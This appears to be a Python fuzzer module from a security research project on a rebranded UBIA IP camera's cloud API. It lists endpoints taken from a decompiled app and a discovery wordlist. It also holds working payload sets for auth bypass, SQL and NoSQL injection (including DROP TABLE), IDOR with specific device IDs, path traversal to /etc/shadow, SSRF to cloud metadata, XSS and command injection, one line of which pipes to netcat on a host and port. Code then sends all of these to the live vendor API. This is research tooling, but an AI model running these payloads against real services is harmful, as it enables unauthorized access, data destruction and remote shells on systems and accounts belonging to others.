Original tooling from the Camhak research project (camera teardown of a
rebranded UBIA / Javiscam IP camera). PyQt6 GUI on top of a curses TUI on
top of a service controller; per-service start/stop, intruder detection,
protocol fingerprinting, OAM HMAC signing, CVE verifiers, OTA bucket
probe, firmware fetcher, fuzzer, packet injection.
Tabs: Dashboard, Live Log, Intruders, Cloud API, Fuzzer, Inject, CVEs,
Config, Help. Real-time per-packet protocol detection, conntrack-based
original-destination lookup, log rotation at 1 GiB.
See SECURITY_PAPER.md for the full writeup, site/index.html for the
public report, README.md for usage. Run with:
sudo /usr/bin/python3 gui.py
Co-authored by Setec Labs.
645 lines
29 KiB
Python
645 lines
29 KiB
Python
"""API endpoint fuzzer — discovers hidden endpoints and tests auth/param vulnerabilities"""
|
|
|
|
import json
|
|
import time
|
|
import threading
|
|
import urllib.request
|
|
import urllib.error
|
|
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_TRAFFIC, C_IMPORTANT
|
|
|
|
# Known endpoints harvested from decompiled UBox APK (146 confirmed)
|
|
KNOWN_ENDPOINTS = [
|
|
"account_link", "activate_subscription_paypal", "addOrder",
|
|
"alipaySign", "alipayVerify",
|
|
"app/customer_support_info", "app/getconfig", "app/getSupportInfoV2",
|
|
"app/info", "app/push_channel_reg", "app/version_check",
|
|
"captcha", "capture_paypal_order", "create_payment_paypal_app",
|
|
"email_user_candidates", "interface", "interface.php",
|
|
"ip2region", "ip2region_parse", "lgc/bind_err", "login_openauth",
|
|
"mobile-info", "mt/biz/alipaySign", "mt/biz/card_service_add_order",
|
|
"mt/biz/card_service_list", "mt/biz/uid_service_add_order",
|
|
"mt/biz/uid_service_list", "mt/biz/uid_service_order_list",
|
|
"mt-login", "mt/logout", "mt/orc-import", "mt/unbind", "old",
|
|
"pub/app/customer_support_info/v2", "pub/app/get_multi_language_contents",
|
|
"pub/location/get_location_codes", "pub/location/rev_geocoding",
|
|
"pub/usersupport/get_guest_im_file_url", "pub/usersupport/get_guest_im_info",
|
|
"pub/usersupport/get_guest_session",
|
|
"pub/usersupport/get_im_groups_user_unread_count",
|
|
"pub/usersupport/get_staff_avatar_url", "pub/usersupport/put_guest_im_file",
|
|
"push-ack", "reset_pwd", "send_code", "service_list",
|
|
"share_permissions", "temp_token", "ticket_title",
|
|
"user/account/add_location", "user/account/get_current_user",
|
|
"user/account_link", "user/alexa_account_status",
|
|
"user/auth", "user/auth-email",
|
|
"user/card4g-info", "user/card4g_info", "user/card4g-order-add",
|
|
"user/card4g-packages", "user/card/card4g_info/v2", "user/card/unlock",
|
|
"user/check_version", "user/cloud_list",
|
|
"user/cloudvideo/put_event_tag",
|
|
"user/confirm_ptz_snap", "user/del_ptz_snap",
|
|
"user/device-add", "user/device-add-token",
|
|
"user/device-alexa", "user/device-alexa-ust",
|
|
"user/device_del", "user/device_edit", "user/device-extra-update",
|
|
"user/device/get_apn_info", "user/device/get_binding_info",
|
|
"user/device/get_dev_diag_help_doc",
|
|
"user/device_list", "user/device/list_ordering",
|
|
"user/device-notice-setting", "user/device/share",
|
|
"user/device/share_do/v2", "user/device-share-info",
|
|
"user/device_shares", "user/device_share_tbc",
|
|
"user/device-share-update", "user/device-temp-token",
|
|
"user/device/try_fix_for_add_4g_device", "user/device_unshare",
|
|
"user/email_user_candidates", "user/event_calendar",
|
|
"user/event_do", "user/faceId", "user/families", "user/family",
|
|
"user/friend", "user/friends",
|
|
"user/get_cloud_video_url", "user/get_devices_dynamic_info",
|
|
"user/get_ptz_snap", "user/logout", "user/modify_pwd",
|
|
"user/notice_type", "user/noti/device/info_changed",
|
|
"user/online_service", "user/order_add",
|
|
"user/order/card4g_order_create_dev_noadd",
|
|
"user/order/order_add/v2", "user/product_info",
|
|
"user/product_purchasable",
|
|
"user/purchase/card4g_packages_dev_noadd",
|
|
"user/push_channel_update", "user/put_ptz_snap",
|
|
"user/qry/aggregate/app_on_switch_foreground",
|
|
"user/qry/device/add_help_doc", "user/qry/device/bind_issue",
|
|
"user/qry/device/check_version/v3", "user/qry/device/device_services",
|
|
"user/qry/device/info_for_add", "user/qry/device/query_add_result",
|
|
"user/qry/notification/detail", "user/qry/notification/get",
|
|
"user/qry/order/list/v2",
|
|
"user/qry/purchase/4g_packages_dev_noadd",
|
|
"user/qry/purchase/4g_packages/v3", "user/qry/purchase/product_list",
|
|
"user/revoke", "user/service_trial",
|
|
"user/update_friend_remark", "user/update_user_info",
|
|
"user/upgrade_order",
|
|
"user/usersupport/get_app_user_im_group",
|
|
"user/usersupport/get_app_user_im_groups",
|
|
"user/usersupport/get_app_user_im_session",
|
|
"user/usersupport/get_app_user_im_token",
|
|
"user/usersupport/get_im_file_url",
|
|
"user/usersupport/get_im_groups_info",
|
|
"user/usersupport/get_issue_type_and_dev_light_state",
|
|
"user/usersupport/put_im_file",
|
|
"v2/user/device_list", "v2/user/get_devices_info",
|
|
"v3/login",
|
|
"valid_code", "wxpay", "wxpay_check",
|
|
]
|
|
|
|
# Wordlist for endpoint discovery
|
|
ENDPOINT_WORDLIST = [
|
|
# ── User management ──────────────────────────────
|
|
"user/info", "user/profile", "user/settings", "user/delete",
|
|
"user/update", "user/list", "user/devices", "user/sessions",
|
|
"user/tokens", "user/permissions", "user/roles", "user/admin",
|
|
"user/logout", "user/register", "user/verify", "user/activate",
|
|
"user/deactivate", "user/ban", "user/unban", "user/search",
|
|
"user/export", "user/import", "user/backup", "user/restore",
|
|
"user/avatar", "user/nickname", "user/email", "user/phone",
|
|
"user/password", "user/change_password", "user/modify_password",
|
|
"user/reset_password", "user/forgot_password",
|
|
"user/notification", "user/notifications", "user/notice",
|
|
"user/message", "user/messages", "user/inbox",
|
|
"user/subscription", "user/subscriptions", "user/plan",
|
|
"user/billing", "user/payment", "user/order", "user/orders",
|
|
"user/coupon", "user/coupons", "user/invite", "user/referral",
|
|
"user/feedback", "user/report", "user/ticket", "user/tickets",
|
|
"user/log", "user/logs", "user/activity", "user/history",
|
|
"user/preferences", "user/config", "user/token",
|
|
"user/refresh_token", "user/access_token",
|
|
"user/third_party", "user/bind", "user/unbind",
|
|
"user/wechat", "user/facebook", "user/google", "user/apple",
|
|
# ── User + device compound paths (ubox pattern) ──
|
|
"user/device/list", "user/device/add", "user/device/del",
|
|
"user/device/remove", "user/device/bind", "user/device/unbind",
|
|
"user/device/share", "user/device/unshare", "user/device/transfer",
|
|
"user/device/rename", "user/device/info", "user/device/config",
|
|
"user/device/settings", "user/device/status", "user/device/online",
|
|
"user/device/offline", "user/device/reboot", "user/device/reset",
|
|
"user/device/upgrade", "user/device/firmware",
|
|
"user/device/command", "user/device/control",
|
|
"user/device/snapshot", "user/device/capture",
|
|
"user/device/recording", "user/device/playback",
|
|
"user/device/event", "user/device/events", "user/device/alarm",
|
|
"user/device/alarms", "user/device/alert", "user/device/alerts",
|
|
"user/device/log", "user/device/logs",
|
|
"user/device/stream", "user/device/live", "user/device/video",
|
|
"user/device/audio", "user/device/speaker",
|
|
"user/device/ptz", "user/device/pan", "user/device/tilt",
|
|
"user/device/zoom", "user/device/preset",
|
|
"user/device/motion", "user/device/detection",
|
|
"user/device/sensitivity", "user/device/schedule",
|
|
"user/device/wifi", "user/device/network",
|
|
"user/device/sd", "user/device/sdcard", "user/device/storage",
|
|
"user/device/format", "user/device/format_sd",
|
|
"user/device/led", "user/device/ir", "user/device/night_vision",
|
|
"user/device/osd", "user/device/time", "user/device/timezone",
|
|
"user/device/battery", "user/device/power",
|
|
"user/device/sim", "user/device/4g", "user/device/signal",
|
|
"user/device/iccid", "user/device/imei",
|
|
# ── Query paths (ubox pattern: user/qry/) ────────
|
|
"user/qry/device/list", "user/qry/device/info",
|
|
"user/qry/device/status", "user/qry/device/config",
|
|
"user/qry/device/firmware", "user/qry/device/version",
|
|
"user/qry/device/check_version", "user/qry/device/check_version/v2",
|
|
"user/qry/device/events", "user/qry/device/alarms",
|
|
"user/qry/device/logs", "user/qry/device/recordings",
|
|
"user/qry/device/cloud_videos", "user/qry/device/snapshots",
|
|
"user/qry/device/battery", "user/qry/device/signal",
|
|
"user/qry/device/network", "user/qry/device/wifi",
|
|
"user/qry/device/storage", "user/qry/device/sd",
|
|
"user/qry/device/sim", "user/qry/device/4g",
|
|
"user/qry/user/info", "user/qry/user/devices",
|
|
"user/qry/user/subscriptions", "user/qry/user/orders",
|
|
# ── Versioned endpoints ──────────────────────────
|
|
"v1/login", "v2/login", "v4/login",
|
|
"v1/user/device_list", "v3/user/device_list",
|
|
"v1/user/families", "v2/user/families", "v3/user/families",
|
|
"v1/user/cloud_list", "v3/user/cloud_list",
|
|
"v2/user/check_version", "v3/user/check_version",
|
|
"v1/user/event_calendar", "v2/user/event_calendar",
|
|
"v2/user/qry/device/device_services",
|
|
"v3/user/qry/device/device_services",
|
|
"v2/user/qry/device/check_version/v3",
|
|
# ── Device (direct) ──────────────────────────────
|
|
"device/list", "device/info", "device/config", "device/settings",
|
|
"device/firmware", "device/update", "device/reboot", "device/reset",
|
|
"device/logs", "device/events", "device/status", "device/command",
|
|
"device/stream", "device/snapshot", "device/recording",
|
|
"device/share", "device/unshare", "device/transfer",
|
|
"device/debug", "device/shell", "device/telnet", "device/ssh",
|
|
"device/console", "device/terminal", "device/exec",
|
|
"device/control", "device/ioctrl", "device/iotctrl",
|
|
"device/p2p", "device/connect", "device/disconnect",
|
|
"device/wakeup", "device/sleep", "device/standby",
|
|
"device/register", "device/unregister", "device/provision",
|
|
"device/activate", "device/deactivate",
|
|
"device/ota", "device/ota/check", "device/ota/download",
|
|
"device/ota/status", "device/ota/history",
|
|
# ── Admin ────────────────────────────────────────
|
|
"admin/users", "admin/devices", "admin/logs", "admin/config",
|
|
"admin/stats", "admin/dashboard", "admin/system", "admin/debug",
|
|
"admin/firmware", "admin/update", "admin/backup", "admin/restore",
|
|
"admin/login", "admin/panel", "admin/console",
|
|
"admin/user/list", "admin/user/create", "admin/user/delete",
|
|
"admin/device/list", "admin/device/config", "admin/device/firmware",
|
|
"admin/audit", "admin/audit/log", "admin/security",
|
|
"admin/api/keys", "admin/api/tokens", "admin/api/stats",
|
|
"admin/cloud/config", "admin/cloud/keys", "admin/cloud/storage",
|
|
"admin/ota/upload", "admin/ota/list", "admin/ota/deploy",
|
|
"admin/push", "admin/notification", "admin/broadcast",
|
|
"manage/users", "manage/devices", "manage/firmware",
|
|
"management/users", "management/devices",
|
|
"internal/users", "internal/devices", "internal/debug",
|
|
"internal/config", "internal/health", "internal/metrics",
|
|
# ── System / infra ───────────────────────────────
|
|
"system/info", "system/version", "system/health", "system/status",
|
|
"system/config", "system/debug", "system/logs", "system/metrics",
|
|
"system/time", "system/restart", "system/shutdown",
|
|
# ── Firmware / OTA ───────────────────────────────
|
|
"firmware/list", "firmware/download", "firmware/upload",
|
|
"firmware/latest", "firmware/check", "firmware/update",
|
|
"firmware/history", "firmware/rollback", "firmware/versions",
|
|
"ota/check", "ota/download", "ota/status", "ota/list",
|
|
"ota/upload", "ota/deploy", "ota/history", "ota/config",
|
|
# ── Cloud / storage ──────────────────────────────
|
|
"cloud/config", "cloud/status", "cloud/keys",
|
|
"cloud/storage", "cloud/video", "cloud/events",
|
|
"cloud/upload", "cloud/download", "cloud/list",
|
|
"cloud/delete", "cloud/share", "cloud/token",
|
|
"cloud/subscription", "cloud/plan", "cloud/usage",
|
|
"storage/list", "storage/upload", "storage/download",
|
|
"storage/delete", "storage/quota", "storage/usage",
|
|
# ── Push / notification ──────────────────────────
|
|
"push/config", "push/send", "push/test", "push/token",
|
|
"push/register", "push/unregister", "push/channels",
|
|
"notification/list", "notification/send", "notification/config",
|
|
"notification/test", "notification/token",
|
|
# ── P2P / streaming ──────────────────────────────
|
|
"p2p/config", "p2p/server", "p2p/relay", "p2p/status",
|
|
"p2p/connect", "p2p/disconnect", "p2p/session",
|
|
"p2p/sessions", "p2p/token", "p2p/auth",
|
|
"stream/start", "stream/stop", "stream/status",
|
|
"stream/config", "stream/token", "stream/url",
|
|
"rtsp/config", "rtsp/url", "rtsp/token",
|
|
"live/start", "live/stop", "live/status", "live/url",
|
|
# ── AI / detection ───────────────────────────────
|
|
"ai/config", "ai/status", "ai/detect", "ai/face",
|
|
"ai/person", "ai/motion", "ai/object", "ai/model",
|
|
"ai/train", "ai/results", "ai/history",
|
|
"detection/config", "detection/zones", "detection/sensitivity",
|
|
"detection/schedule", "detection/history",
|
|
# ── SIM / 4G ─────────────────────────────────────
|
|
"sim/info", "sim/status", "sim/activate", "sim/deactivate",
|
|
"sim/data", "sim/usage", "sim/plan", "sim/recharge",
|
|
"sim/config", "sim/apn", "sim/carrier",
|
|
"4g/info", "4g/status", "4g/signal", "4g/config",
|
|
"card4g-info", "user/card4g-info",
|
|
"v3/user/card4g-info",
|
|
# ── Payment / billing ────────────────────────────
|
|
"pay/order", "pay/orders", "pay/create", "pay/callback",
|
|
"pay/verify", "pay/refund", "pay/status",
|
|
"pay/subscription", "pay/subscriptions",
|
|
"pay/products", "pay/plans", "pay/pricing",
|
|
"billing/info", "billing/history", "billing/invoice",
|
|
# ── Auth / OAuth ─────────────────────────────────
|
|
"auth/token", "auth/refresh", "auth/verify", "auth/revoke",
|
|
"auth/login", "auth/logout", "auth/register",
|
|
"auth/password", "auth/reset", "auth/code",
|
|
"oauth/authorize", "oauth/token", "oauth/callback",
|
|
"oauth/revoke", "oauth/userinfo",
|
|
"sso/login", "sso/callback", "sso/logout",
|
|
# ── Geographic / location ────────────────────────
|
|
"pub/location/geocoding", "pub/location/search",
|
|
"pub/location/timezone", "pub/location/weather",
|
|
"location/config", "location/geo", "location/address",
|
|
"query-zid", "query_zid", "get_zone",
|
|
# ── Misc / discovery ─────────────────────────────
|
|
"ping", "health", "healthz", "ready", "readyz",
|
|
"version", "info", "about", "debug", "test", "echo",
|
|
"status", "config", "metrics", "prometheus",
|
|
"swagger", "swagger.json", "swagger.yaml",
|
|
"docs", "api-docs", "api-doc", "redoc",
|
|
"openapi", "openapi.json", "openapi.yaml",
|
|
".env", "robots.txt", "sitemap.xml", "favicon.ico",
|
|
".git/config", ".git/HEAD", "wp-login.php",
|
|
"graphql", "graphiql", "playground",
|
|
"websocket", "ws", "socket.io",
|
|
# ── UBIA-specific guesses ────────────────────────
|
|
"pub/app/config", "pub/app/version", "pub/app/update",
|
|
"pub/device/config", "pub/device/version",
|
|
"pub/firmware/latest", "pub/firmware/list",
|
|
"pub/notice", "pub/announcement", "pub/banner",
|
|
"app/config", "app/version", "app/update", "app/feedback",
|
|
"mt-login", "mt-device", "mt-config",
|
|
"bind_wechat", "unbind_wechat",
|
|
"user/get_notification", "user/set_notification",
|
|
"user/get_push_token", "user/set_push_token",
|
|
"user/get_privacy", "user/set_privacy",
|
|
"user/get_cloud_config", "user/set_cloud_config",
|
|
"user/get_ai_config", "user/set_ai_config",
|
|
"user/get_detection_config", "user/set_detection_config",
|
|
"user/get_schedule", "user/set_schedule",
|
|
"user/get_timezone", "user/set_timezone",
|
|
"user/get_device_config", "user/set_device_config",
|
|
"user/get_stream_config", "user/set_stream_config",
|
|
"user/get_rtsp_url", "user/get_p2p_config",
|
|
"user/get_firmware_url", "user/get_ota_url",
|
|
"user/get_device_log", "user/get_crash_log",
|
|
"user/upload_log", "user/upload_crash",
|
|
"user/get_cloud_key", "user/get_cloud_secret",
|
|
"user/get_push_config", "user/set_push_config",
|
|
"user/reply_get_notification",
|
|
"user/device_share_list", "user/device_share_add",
|
|
"user/device_share_del", "user/device_share_accept",
|
|
"user/device_share_reject",
|
|
"user/family/add", "user/family/del", "user/family/update",
|
|
"user/family/list", "user/family/members",
|
|
"user/family/invite", "user/family/remove_member",
|
|
]
|
|
|
|
# Parameter mutation payloads
|
|
PARAM_MUTATIONS = {
|
|
"auth_bypass": [
|
|
{},
|
|
{"admin": True},
|
|
{"role": "admin"},
|
|
{"is_admin": 1},
|
|
{"debug": True},
|
|
{"test": True},
|
|
{"internal": True},
|
|
{"bypass": True},
|
|
{"token": "admin"},
|
|
{"user_type": "admin"},
|
|
{"privilege": 9999},
|
|
{"level": 0},
|
|
{"auth": "none"},
|
|
{"skip_auth": True},
|
|
],
|
|
"sqli": [
|
|
{"device_uid": "' OR '1'='1"},
|
|
{"device_uid": "\" OR \"1\"=\"1"},
|
|
{"device_uid": "'; DROP TABLE users; --"},
|
|
{"account": "admin'--"},
|
|
{"account": "' UNION SELECT * FROM users--"},
|
|
{"device_uid": "1; WAITFOR DELAY '0:0:5'--"},
|
|
{"device_uid": "1' AND SLEEP(5)--"},
|
|
{"account": "admin' AND '1'='1"},
|
|
{"password": "' OR '1'='1"},
|
|
{"device_uid": "' UNION SELECT username,password FROM users--"},
|
|
{"page": "1; DROP TABLE devices--"},
|
|
{"device_uid": "1' ORDER BY 100--"},
|
|
],
|
|
"nosql": [
|
|
{"device_uid": {"$gt": ""}},
|
|
{"device_uid": {"$ne": ""}},
|
|
{"device_uid": {"$regex": ".*"}},
|
|
{"account": {"$gt": ""}},
|
|
{"password": {"$ne": "invalid"}},
|
|
{"$where": "1==1"},
|
|
{"device_uid": {"$exists": True}},
|
|
{"account": {"$in": ["admin", "root", "test"]}},
|
|
],
|
|
"idor": [
|
|
{"device_uid": "AAAAAAAAAAAAAAAAAAAAAA"},
|
|
{"device_uid": "../../../etc/passwd"},
|
|
{"device_uid": "0"},
|
|
{"device_uid": "-1"},
|
|
{"device_uid": "1"},
|
|
{"user_id": "1"},
|
|
{"user_id": "0"},
|
|
{"user_id": "-1"},
|
|
{"kuid": "1"},
|
|
{"kuid": "1000000000"},
|
|
{"kuid": "1006072344"},
|
|
{"uuid": "admin"},
|
|
{"family": 1},
|
|
{"family_id": "1"},
|
|
{"id": 1},
|
|
{"id": 0},
|
|
{"device_uid": "AAAAAAAAAAAAAAAAAAAA"},
|
|
{"device_uid": "J7HYJJFFFXRDKBYGPVR0"},
|
|
{"device_uid": "J7HYJJFFFXRDKBYGPVR1"},
|
|
],
|
|
"overflow": [
|
|
{"device_uid": "A" * 500},
|
|
{"device_uid": "A" * 10000},
|
|
{"device_uid": "A" * 100000},
|
|
{"page": 999999},
|
|
{"page": -1},
|
|
{"page": 0},
|
|
{"count": -1},
|
|
{"count": 0},
|
|
{"count": 999999},
|
|
{"page_num": 2147483647},
|
|
{"zone_id": 2147483647},
|
|
{"zone_id": -2147483648},
|
|
{"device_uid": "\x00" * 100},
|
|
{"account": "A" * 10000},
|
|
],
|
|
"type_confusion": [
|
|
{"device_uid": 12345},
|
|
{"device_uid": True},
|
|
{"device_uid": False},
|
|
{"device_uid": None},
|
|
{"device_uid": []},
|
|
{"device_uid": [1, 2, 3]},
|
|
{"device_uid": {"key": "value"}},
|
|
{"device_uid": 0},
|
|
{"device_uid": -1},
|
|
{"device_uid": 1.5},
|
|
{"page": "abc"},
|
|
{"page": True},
|
|
{"page": None},
|
|
{"page": []},
|
|
{"count": "all"},
|
|
{"zone_id": "global"},
|
|
],
|
|
"path_traversal": [
|
|
{"device_uid": "../../etc/passwd"},
|
|
{"device_uid": "..\\..\\etc\\passwd"},
|
|
{"device_uid": "%2e%2e%2f%2e%2e%2fetc%2fpasswd"},
|
|
{"device_uid": "....//....//etc/passwd"},
|
|
{"file": "/etc/passwd"},
|
|
{"file": "/etc/shadow"},
|
|
{"path": "/proc/self/environ"},
|
|
{"url": "file:///etc/passwd"},
|
|
{"filename": "../../../etc/passwd"},
|
|
],
|
|
"ssrf": [
|
|
{"url": "http://127.0.0.1"},
|
|
{"url": "http://localhost"},
|
|
{"url": "http://169.254.169.254/latest/meta-data/"},
|
|
{"url": "http://[::1]"},
|
|
{"url": "http://0.0.0.0"},
|
|
{"callback_url": "http://127.0.0.1:8080"},
|
|
{"webhook": "http://localhost:9090"},
|
|
{"firmware_url": "http://127.0.0.1/evil.bin"},
|
|
],
|
|
"xss_ssti": [
|
|
{"device_uid": "<script>alert(1)</script>"},
|
|
{"name": "<img src=x onerror=alert(1)>"},
|
|
{"device_uid": "{{7*7}}"},
|
|
{"device_uid": "${7*7}"},
|
|
{"device_uid": "<%=7*7%>"},
|
|
{"name": "{{config}}"},
|
|
{"name": "${env}"},
|
|
],
|
|
"command_injection": [
|
|
{"device_uid": "; id"},
|
|
{"device_uid": "| id"},
|
|
{"device_uid": "$(id)"},
|
|
{"device_uid": "`id`"},
|
|
{"device_uid": "; cat /etc/passwd"},
|
|
{"device_uid": "| nc 192.168.1.172 4444"},
|
|
{"name": "; whoami"},
|
|
{"wifi_ssid": "test'; ping -c1 192.168.1.172; '"},
|
|
{"firmware_url": "http://x/$(id)"},
|
|
],
|
|
"format_string": [
|
|
{"device_uid": "%s%s%s%s%s"},
|
|
{"device_uid": "%x%x%x%x"},
|
|
{"device_uid": "%n%n%n%n"},
|
|
{"device_uid": "%p%p%p%p"},
|
|
{"name": "%s" * 50},
|
|
],
|
|
"null_byte": [
|
|
{"device_uid": "valid\x00admin"},
|
|
{"device_uid": "J7HYJJFFFXRDKBYGPVRA\x00.txt"},
|
|
{"account": "admin\x00@evil.com"},
|
|
{"file": "image.jpg\x00.php"},
|
|
],
|
|
"unicode": [
|
|
{"device_uid": "\uff41\uff44\uff4d\uff49\uff4e"},
|
|
{"account": "admin\u200b@test.com"},
|
|
{"device_uid": "\u0000\u0001\u0002"},
|
|
{"name": "\ud800"},
|
|
],
|
|
"large_json": [
|
|
{"a": "b" * 100000},
|
|
dict([(f"key_{i}", f"val_{i}") for i in range(1000)]),
|
|
{"nested": {"a": {"b": {"c": {"d": {"e": "deep"}}}}}},
|
|
],
|
|
}
|
|
|
|
|
|
class Fuzzer:
|
|
def __init__(self, cfg):
|
|
self.cfg = cfg
|
|
self.results = []
|
|
self.running = False
|
|
self._lock = threading.Lock()
|
|
|
|
def _post(self, endpoint, data, token=None, timeout=5):
|
|
url = f"{self.cfg['api_base']}/{endpoint}"
|
|
body = json.dumps(data).encode("utf-8")
|
|
req = urllib.request.Request(url, data=body, method="POST")
|
|
req.add_header("Content-Type", "application/json")
|
|
req.add_header("X-UbiaAPI-CallContext", "source=app&app=ubox&ver=1.1.360&osver=14")
|
|
if token:
|
|
req.add_header("X-Ubia-Auth-UserToken", token)
|
|
try:
|
|
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
|
code = resp.getcode()
|
|
body = resp.read().decode("utf-8", errors="replace")[:500]
|
|
return code, body
|
|
except urllib.error.HTTPError as e:
|
|
body = e.read().decode("utf-8", errors="replace")[:500]
|
|
return e.code, body
|
|
except Exception as e:
|
|
return 0, str(e)
|
|
|
|
def _add_result(self, endpoint, method, status, note, response=""):
|
|
with self._lock:
|
|
self.results.append({
|
|
"endpoint": endpoint,
|
|
"method": method,
|
|
"status": status,
|
|
"note": note,
|
|
"response": response[:300],
|
|
})
|
|
|
|
def _parse_app_code(self, body):
|
|
"""Extract the application-level code from JSON response body.
|
|
UBIA API always returns HTTP 200 — real status is in {"code": N}"""
|
|
try:
|
|
data = json.loads(body)
|
|
return data.get("code", -1), data
|
|
except:
|
|
return -1, {}
|
|
|
|
def fuzz_endpoints(self):
|
|
"""Discover hidden API endpoints"""
|
|
self.running = True
|
|
log("FUZZ: starting endpoint discovery...", C_INFO)
|
|
token = self.cfg["api_token"]
|
|
delay = self.cfg.get("fuzzer_delay", 0.2)
|
|
|
|
all_endpoints = list(set(KNOWN_ENDPOINTS + ENDPOINT_WORDLIST))
|
|
total = len(all_endpoints)
|
|
|
|
for i, ep in enumerate(all_endpoints):
|
|
if not self.running:
|
|
break
|
|
|
|
# Try with auth
|
|
code, body = self._post(ep, {}, token)
|
|
|
|
if code == 0:
|
|
continue # connection error
|
|
elif code == 404:
|
|
continue # not found
|
|
elif code == 200:
|
|
app_code, parsed = self._parse_app_code(body)
|
|
if app_code == 0:
|
|
# Real success
|
|
log(f"FUZZ: [{code}] {ep} — FOUND (app_code=0)", C_IMPORTANT)
|
|
self._add_result(ep, "POST", code, "accessible", body)
|
|
|
|
# Now test without auth
|
|
code2, body2 = self._post(ep, {}, None)
|
|
app_code2, _ = self._parse_app_code(body2)
|
|
if app_code2 == 0:
|
|
log(f"FUZZ: [{code2}] {ep} — REAL NO AUTH BYPASS!", C_IMPORTANT)
|
|
self._add_result(ep, "POST_NOAUTH", code2, "NO_AUTH_CONFIRMED", body2)
|
|
elif app_code2 != 10004:
|
|
log(f"FUZZ: [{code2}] {ep} — unusual no-auth response: code={app_code2}", C_TRAFFIC)
|
|
self._add_result(ep, "POST_NOAUTH", code2, f"noauth_code_{app_code2}", body2)
|
|
elif app_code == 10004:
|
|
# Token rejected even with our valid token — interesting
|
|
log(f"FUZZ: [{code}] {ep} — exists but token rejected", C_TRAFFIC)
|
|
self._add_result(ep, "POST", code, "token_rejected", body)
|
|
elif app_code == 10001:
|
|
# Invalid params — endpoint exists
|
|
log(f"FUZZ: [{code}] {ep} — FOUND (needs params)", C_TRAFFIC)
|
|
self._add_result(ep, "POST", code, "needs_params", body)
|
|
else:
|
|
log(f"FUZZ: [{code}] {ep} — app_code={app_code}", C_TRAFFIC)
|
|
self._add_result(ep, "POST", code, f"app_code_{app_code}", body)
|
|
elif code == 405:
|
|
log(f"FUZZ: [{code}] {ep} — wrong method", C_TRAFFIC)
|
|
self._add_result(ep, "POST", code, "method_not_allowed", body)
|
|
else:
|
|
log(f"FUZZ: [{code}] {ep}", 0)
|
|
self._add_result(ep, "POST", code, f"http_{code}", body)
|
|
|
|
if (i + 1) % 50 == 0:
|
|
log(f"FUZZ: progress {i+1}/{total}", C_INFO)
|
|
|
|
time.sleep(delay)
|
|
|
|
log(f"FUZZ: endpoint scan done — {len(self.results)} results", C_SUCCESS)
|
|
self.running = False
|
|
|
|
def fuzz_params(self, endpoint):
|
|
"""Test parameter mutations on a specific endpoint"""
|
|
self.running = True
|
|
log(f"FUZZ: parameter fuzzing on {endpoint}...", C_INFO)
|
|
token = self.cfg["api_token"]
|
|
delay = self.cfg.get("fuzzer_delay", 0.1)
|
|
|
|
for category, payloads in PARAM_MUTATIONS.items():
|
|
if not self.running:
|
|
break
|
|
log(f"FUZZ: testing {category}...", C_INFO)
|
|
for payload in payloads:
|
|
if not self.running:
|
|
break
|
|
code, body = self._post(endpoint, payload, token)
|
|
note = f"{category}: {json.dumps(payload)[:80]}"
|
|
if code == 200:
|
|
log(f"FUZZ: [{code}] {note} — ACCEPTED", C_IMPORTANT)
|
|
elif code == 500:
|
|
log(f"FUZZ: [{code}] {note} — SERVER ERROR!", C_IMPORTANT)
|
|
else:
|
|
log(f"FUZZ: [{code}] {note}", C_TRAFFIC)
|
|
self._add_result(endpoint, category, code, note, body)
|
|
time.sleep(delay)
|
|
|
|
log(f"FUZZ: param fuzzing done", C_SUCCESS)
|
|
self.running = False
|
|
|
|
def fuzz_auth(self):
|
|
"""Test authentication bypass techniques"""
|
|
self.running = True
|
|
log("FUZZ: testing auth bypass...", C_INFO)
|
|
delay = self.cfg.get("fuzzer_delay", 0.2)
|
|
test_endpoints = ["user/device_list", "v2/user/device_list", "user/families"]
|
|
|
|
tests = [
|
|
("no_token", None),
|
|
("empty_token", ""),
|
|
("invalid_token", "invalidtoken123"),
|
|
("expired_format", "xxxx1234567890abcdef"),
|
|
("sql_token", "' OR '1'='1"),
|
|
("null_byte", "valid\x00admin"),
|
|
("long_token", "A" * 1000),
|
|
]
|
|
|
|
for ep in test_endpoints:
|
|
if not self.running:
|
|
break
|
|
for test_name, token_val in tests:
|
|
if not self.running:
|
|
break
|
|
code, body = self._post(ep, {}, token_val)
|
|
app_code, _ = self._parse_app_code(body)
|
|
if code == 200 and app_code == 0:
|
|
log(f"FUZZ: AUTH BYPASS! [{code}] {ep} with {test_name} (app_code=0!)", C_IMPORTANT)
|
|
elif code == 200 and app_code != 10004:
|
|
log(f"FUZZ: [{code}] {ep} {test_name} app_code={app_code}", C_TRAFFIC)
|
|
else:
|
|
log(f"FUZZ: [{code}] {ep} {test_name} — rejected", 0)
|
|
self._add_result(ep, f"auth_{test_name}", code, f"{test_name}_appcode_{app_code}", body)
|
|
time.sleep(delay)
|
|
|
|
log("FUZZ: auth bypass testing done", C_SUCCESS)
|
|
self.running = False
|
|
|
|
def stop(self):
|
|
self.running = False
|
|
|
|
def save_results(self, path=None):
|
|
path = path or f"{self.cfg['log_dir']}/fuzz_results_{int(time.time())}.json"
|
|
with open(path, "w") as f:
|
|
json.dump(self.results, f, indent=2)
|
|
log(f"FUZZ: results saved to {path}", C_SUCCESS)
|
|
return path
|